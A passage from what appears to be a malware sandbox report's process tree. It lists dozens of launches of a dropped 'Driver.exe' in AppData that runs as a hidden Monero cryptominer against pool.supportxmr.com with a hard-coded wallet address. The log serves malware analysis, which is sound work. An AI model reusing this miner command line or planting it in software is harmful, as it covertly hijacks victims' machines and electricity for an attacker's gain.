  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1676
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:892
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1680
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1320
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1696
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1968
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1092
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:484
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1728
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1928
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1604
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1064
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1496
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1116
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1596
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1740
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1088
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1964
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1996
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1628
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:808
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:280
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1824
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1760
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1916
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1116
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1740
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:1744
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  - Executes dropped EXE
  PID:832
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1500
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1980
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:524
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1788
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1128
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1204
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1076
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1604
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1496
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:864
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1424
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:688
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1872
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:820
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1672
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1796
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1740
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:808
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1400
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1320
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:456
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1148
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1700
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1732
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1748
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1640
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1044
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1176
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1960
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1392
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:280
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1768
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1652
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:892
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1436
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1248
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1604
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:688
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1572
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1760
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
